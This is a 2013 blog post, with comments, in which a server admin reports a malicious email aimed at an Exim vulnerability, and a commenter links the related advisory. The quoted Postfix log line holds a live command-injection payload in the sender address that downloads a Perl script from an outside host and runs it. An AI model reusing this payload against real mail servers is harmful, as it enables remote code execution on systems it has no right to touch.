Today’s most interesting email (exim, security)

June 19, 2013, palepurple, linux, security, , 2

Aside from generally getting too much email, today this gem arrived ….

Presumably there is/was a vulnerability in Exim.

Thankfully this server runs Postfix.

Jun 18 23:47:47 xxxx postfix/cleanup[727]: 718FF848036: message-id=<>
Jun 18 23:47:47 xxxx postfix/qmgr[1444]: 718FF848036: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt“perl${IFS}/tmp/p.pl`@blaat.com>, size=206, nrcpt=1 (queue active)

email, exim, perl, security

‹ Two Factor Authentication for remote SSH users (using google authenticator) Full text searching with solr ›

2 thoughts on “Today’s most interesting email (exim, security)”

ensa says:

June 19, 2013 at 1:49 pm

we got four of them at 2351 last night; the advisory is at https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution

Reply
- palepurple says:
  
  June 19, 2013 at 7:07 pm
  
  Ah hah! thank you!
  
  Reply

Today’s most interesting email (exim, security)

2 thoughts on “Today’s most interesting email (exim, security)”

Leave a Reply Cancel reply

Share

Search

Customer Quotes